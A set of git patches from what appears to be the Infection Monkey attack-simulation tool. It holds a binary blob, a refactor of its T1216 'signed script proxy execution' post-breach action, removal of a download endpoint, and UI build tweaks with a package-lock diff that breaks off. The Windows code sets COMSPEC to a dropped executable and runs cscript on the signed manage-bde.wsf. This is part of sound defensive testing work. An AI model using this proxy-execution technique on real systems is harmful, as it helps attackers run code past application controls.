zfLZ=Oac3Z2gb0&oltZi!EbDihVZda71@O!MtQTr$8z5Jjb8u&zY<32N!a^J&uOip| z7zABLJ3@Z=(ukOCMWA763{10KSzcaX>__4|%y`4JNvIUM`OzuVqTboo%V>aq?+MT;3Z|G47z0YGHF>`)wMCN zwivze@o^Ha`i;e*Nnm^wzIj19*ZmBB{|Y8)dE93NI_j=I&<`pPbD%sMhKRB)i1u#gXK47-G0-@&}ZqxVBUy+iEkJOW>bw`50tG3 z^IrUonJvY=9stXsZh7xvrRc*%Fz@5v>2`U~pk-(m+(n033xq%J;-{uaI^}7Ei<3AZ3{=cC^ zD|tGjW!S%PFy|xWgI=FEX0&9h*Xy524b@JtamYP-=lLzlgJxTfr<*9h{-;H%iR;o9ApMt5W4P#c@@U$8oW&63Phh(36J&gT zc|LY0nD-mm5Nn9a8B%77=uZtRi-UsYM`;iU2?7GI!Mr zhkvpYoFPx;A52L|Jaot)g(m(>VDH|2@Lxc9O8o9{`L2WU2Q%3aNVNQ5YFhk013fh{ PA@x6b@juxA?+E-aY|GsI literal 0 HcmV?d00001 diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py index b172d1ab1..e1292bb99 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -1,5 +1,7 @@ import logging import subprocess +from pathlib import Path +from shutil import copyfile from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import ( @@ -11,12 +13,21 @@ from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) +EXECUTABLE_NAME = "T1216_random_executable.exe" +EXECUTABLE_SRC_PATH = Path(__file__).parent / EXECUTABLE_NAME +TEMP_COMSPEC = Path.cwd() / "T1216_random_executable.exe" + def get_commands_to_proxy_execution_using_signed_script(): - windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script() + windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script(TEMP_COMSPEC) return windows_cmds +def copy_executable_to_cwd(): + logger.debug(f"Copying executable from {EXECUTABLE_SRC_PATH} to {TEMP_COMSPEC}") + copyfile(EXECUTABLE_SRC_PATH, TEMP_COMSPEC) + + def cleanup_changes(original_comspec): if is_windows_os(): try: @@ -26,7 +37,7 @@ def cleanup_changes(original_comspec): timeout=SHORT_REQUEST_TIMEOUT, ) subprocess.run( # noqa: DUO116 - get_windows_commands_to_delete_temp_comspec(), + get_windows_commands_to_delete_temp_comspec(TEMP_COMSPEC), shell=True, timeout=SHORT_REQUEST_TIMEOUT, ) diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py index 414f95e3e..da960e94d 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py @@ -1,32 +1,22 @@ import os +from pathlib import WindowsPath -from infection_monkey.control import ControlClient from infection_monkey.utils.environment import is_windows_os -TEMP_COMSPEC = os.path.join(os.getcwd(), "T1216_random_executable.exe") - -def get_windows_commands_to_proxy_execution_using_signed_script(): +def get_windows_commands_to_proxy_execution_using_signed_script(temp_comspec: WindowsPath): signed_script = "" if is_windows_os(): - _download_random_executable() - windir_path = os.environ["WINDIR"] - signed_script = os.path.join(windir_path, "System32", "manage-bde.wsf") + windir_path = WindowsPath(os.environ["WINDIR"]) + signed_script = str(windir_path / "System32" / "manage-bde.wsf") - return [f"set comspec={TEMP_COMSPEC} &&", f"cscript {signed_script}"] - - -def _download_random_executable(): - download = ControlClient.get_T1216_pba_file() - with open(TEMP_COMSPEC, "wb") as random_exe_obj: - random_exe_obj.write(download.content) - random_exe_obj.flush() + return [f"set comspec={temp_comspec} &&", f"cscript {signed_script}"] def get_windows_commands_to_reset_comspec(original_comspec): return f"set comspec={original_comspec}" -def get_windows_commands_to_delete_temp_comspec(): - return f"del {TEMP_COMSPEC} /f" +def get_windows_commands_to_delete_temp_comspec(temp_comspec: WindowsPath): + return f"del {temp_comspec} /f" From e849a7599a896c801d2231f35d4271bdca0fa014 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Apr 2022 12:07:38 -0400 Subject: [PATCH 1078/1110] Agent: Remove T1216_random_executable.exe from agent binary on Linux The signed-script proxy PBA only runs on Windows, so there's no need to include the 1.1MB executable in the Linux agent. --- monkey/infection_monkey/monkey.spec | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index d79345d0a..5144a8528 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -55,6 +55,8 @@ def process_datas(orig_datas): datas = orig_datas if is_windows(): datas = [i for i in datas if i[0].find('Include') < 0] + else: + datas = [i for i in datas if not i[0].endswith("T1216_random_executable.exe")] return datas From b1c125f420ee01bdc8953386e88d96c49807df2b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Apr 2022 12:11:47 -0400 Subject: [PATCH 1079/1110] Island: Remove disused T1216 file download endpoint --- CHANGELOG.md | 1 + monkey/monkey_island/cc/app.py | 3 --- .../cc/resources/T1216_pba_file_download.py | 20 ------------------- 3 files changed, 1 insertion(+), 23 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/T1216_pba_file_download.py diff --git a/CHANGELOG.md b/CHANGELOG.md index a87f42c23..12e94cbbb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -59,6 +59,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Struts2 exploiter. #1869 - Drupal exploiter. #1869 - WebLogic exploiter. #1869 +- The /api/t1216-pba/download endpoint. #1864 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 863a88909..b4413e7a5 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -6,7 +6,6 @@ import flask_restful from flask import Flask, Response, send_from_directory from werkzeug.exceptions import NotFound -from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.agent_controls import StopAgentCheck, StopAllAgents from monkey_island.cc.resources.attack.attack_report import AttackReport @@ -41,7 +40,6 @@ from monkey_island.cc.resources.ransomware_report import RansomwareReport from monkey_island.cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.security_report import SecurityReport -from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.version_update import VersionUpdate @@ -153,7 +151,6 @@ def init_api_resources(api): api.add_resource(Log, "/api/log") api.add_resource(IslandLog, "/api/log/island/download") api.add_resource(PBAFileDownload, "/api/pba/download/") - api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource( FileUpload, "/api/fileUpload/", diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py deleted file mode 100644 index 906d4c97f..000000000 --- a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py +++ /dev/null @@ -1,20 +0,0 @@ -import os - -import flask_restful -from flask import send_from_directory - -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH - - -class T1216PBAFileDownload(flask_restful.Resource): - """ - File download endpoint used by monkey to download executable file for T1216 ("Signed Script - Proxy Execution" PBA) - """ - - def get(self): - executable_file_name = "T1216_random_executable.exe" - return send_from_directory( - directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), - path=executable_file_name, - ) From b99178832a48e906fb27756cbcca30b6982dcc6e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Apr 2022 12:12:03 -0400 Subject: [PATCH 1080/1110] Common: Remove disused T1216_PBA_FILE_DOWNLOAD_PATH constant --- monkey/common/common_consts/api_url_consts.py | 1 - 1 file changed, 1 deletion(-) delete mode 100644 monkey/common/common_consts/api_url_consts.py diff --git a/monkey/common/common_consts/api_url_consts.py b/monkey/common/common_consts/api_url_consts.py deleted file mode 100644 index 91f289218..000000000 --- a/monkey/common/common_consts/api_url_consts.py +++ /dev/null @@ -1 +0,0 @@ -T1216_PBA_FILE_DOWNLOAD_PATH = "/api/t1216-pba/download" From 13b7e470db6776c809d31ecb3ef9aad8e3352bef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Apr 2022 13:25:40 -0400 Subject: [PATCH 1081/1110] Agent: Set timeout to None for custom PBA --- monkey/infection_monkey/post_breach/custom_pba/custom_pba.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py index 453dfb6ed..ce7dd64f2 100644 --- a/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py +++ b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py @@ -26,7 +26,9 @@ class CustomPBA(PBA): """ def __init__(self, telemetry_messenger: ITelemetryMessenger): - super(CustomPBA, self).__init__(telemetry_messenger, POST_BREACH_FILE_EXECUTION) + super(CustomPBA, self).__init__( + telemetry_messenger, POST_BREACH_FILE_EXECUTION, timeout=None + ) self.filename = "" def run(self, options: Dict) -> Iterable[PostBreachData]: From 00dc772953830e907e4a210356c60f546c90f6cf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 11 Apr 2022 19:13:37 +0200 Subject: [PATCH 1082/1110] UI: Use thread-loader and caching to improve build time * source-map `devtool` is decided based on prod/development on production we are using `source-map`, otherwise `eval` * babel-loader uses CacheDirectory to store compiled version * exclude node_modules from type script checker * use fork-ts-checker-webpack-plugin for ts-loader * use speed-measure-webpack-plugin to measure time loading od dev --- monkey/monkey_island/cc/ui/package-lock.json | 562 ++++++++++++++++++ monkey/monkey_island/cc/ui/package.json | 3 + .../layouts/SidebarLayoutComponent.tsx | 2 +- monkey/monkey_island/cc/ui/tsconfig.json | 5 +- monkey/monkey_island/cc/ui/webpack.config.js | 55 +- 5 files changed, 613 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index bbb5012b7..6bc3348a5 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -77,6 +77,7 @@ "eslint": "^6.8.0", "eslint-loader": "^4.0.1", "eslint-plugin-react": "^7.26.1", + "fork-ts-checker-webpack-plugin": "^7.2.4", "glob": "^7.2.0", "html-loader": "^0.5.5", "html-webpack-plugin": "^5.3.2", @@ -86,8 +87,10 @@ "rimraf": "^2.7.1", "sass": "^1.42.1", "sass-loader": "^12.6.0", + "speed-measure-webpack-plugin": "^1.5.0", "style-loader": "^0.22.1", "stylelint": "^13.13.1", + "thread-loader": "^3.0.4", "ts-loader": "^8.3.0", "typescript": "^4.4.3", "webpack": "^5.58.0", @@ -4650,6 +4653,15 @@ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", "dev": true }, + "node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/default-gateway": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", @@ -5942,6 +5954,202 @@ "node": ">=0.10.3" } }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "7.2.4", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-7.2.4.tgz", + "integrity": "sha512-wVN8w0aGiiF4/1o0N5VPeh+PCs4OMg8VzKiYc7Uw7e2VmTt8JuKjEc2/uvd/VfG0Ux+4WnxMncSRcZpXAS6Fyw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.16.7", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", + "cosmiconfig": "^7.0.1", + "deepmerge": "^4.2.2", + "fs-extra": "^10.0.0", + "memfs": "^3.4.1", + "minimatch": "^3.0.4", + "schema-utils": "^3.1.1", + "semver": "^7.3.5", + "tapable": "^2.2.1" + }, + "engines": { + "node": ">=12.13.0", + "yarn": ">=1.0.0" + }, + "peerDependencies": { + "typescript": ">3.6.0", + "vue-template-compiler": "*", + "webpack": "^5.11.0" + }, + "peerDependenciesMeta": { + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "dev": true, + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.0.1.tgz", + "integrity": "sha512-NbdoVMZso2Lsrn/QwLXOy6rm0ufY2zEOKCDzJR/0kBsb0E6qed0P3iYK+Ath3BfvXEeu4JhEtXLgILx5psUfag==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/semver": { + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "dependencies": { + "lru-cache": "^7.4.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, "node_modules/forwarded": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", @@ -14293,6 +14501,91 @@ "specificity": "bin/specificity" } }, + "node_modules/speed-measure-webpack-plugin": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/speed-measure-webpack-plugin/-/speed-measure-webpack-plugin-1.5.0.tgz", + "integrity": "sha512-Re0wX5CtM6gW7bZA64ONOfEPEhwbiSF/vz6e2GvadjuaPrQcHTQdRGsD8+BE7iUOysXH8tIenkPCQBEcspXsNg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0" + }, + "engines": { + "node": ">=6.0.0" + }, + "peerDependencies": { + "webpack": "^1 || ^2 || ^3 || ^4 || ^5" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/speed-measure-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/speed-measure-webpack-plugin/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", @@ -14998,6 +15291,47 @@ "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", "dev": true }, + "node_modules/thread-loader": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/thread-loader/-/thread-loader-3.0.4.tgz", + "integrity": "sha512-ByaL2TPb+m6yArpqQUZvP+5S1mZtXsEP7nWKKlAUTm7fCml8kB5s1uI3+eHRP2bk5mVYfRSBI7FFf+tWEyLZwA==", + "dev": true, + "dependencies": { + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.1.0", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.27.0 || ^5.0.0" + } + }, + "node_modules/thread-loader/node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, "node_modules/through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", @@ -19824,6 +20158,12 @@ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", "dev": true }, + "deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "dev": true + }, "default-gateway": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", @@ -20849,6 +21189,142 @@ "resolved": "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz", "integrity": "sha1-j6jPBBGhoxr9B7BtKQK7n8gVoTM=" }, + "fork-ts-checker-webpack-plugin": { + "version": "7.2.4", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-7.2.4.tgz", + "integrity": "sha512-wVN8w0aGiiF4/1o0N5VPeh+PCs4OMg8VzKiYc7Uw7e2VmTt8JuKjEc2/uvd/VfG0Ux+4WnxMncSRcZpXAS6Fyw==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.16.7", + "chalk": "^4.1.2", + "chokidar": "^3.5.3", + "cosmiconfig": "^7.0.1", + "deepmerge": "^4.2.2", + "fs-extra": "^10.0.0", + "memfs": "^3.4.1", + "minimatch": "^3.0.4", + "schema-utils": "^3.1.1", + "semver": "^7.3.5", + "tapable": "^2.2.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "cosmiconfig": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "dev": true, + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + } + }, + "fs-extra": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.0.1.tgz", + "integrity": "sha512-NbdoVMZso2Lsrn/QwLXOy6rm0ufY2zEOKCDzJR/0kBsb0E6qed0P3iYK+Ath3BfvXEeu4JhEtXLgILx5psUfag==", + "dev": true, + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": 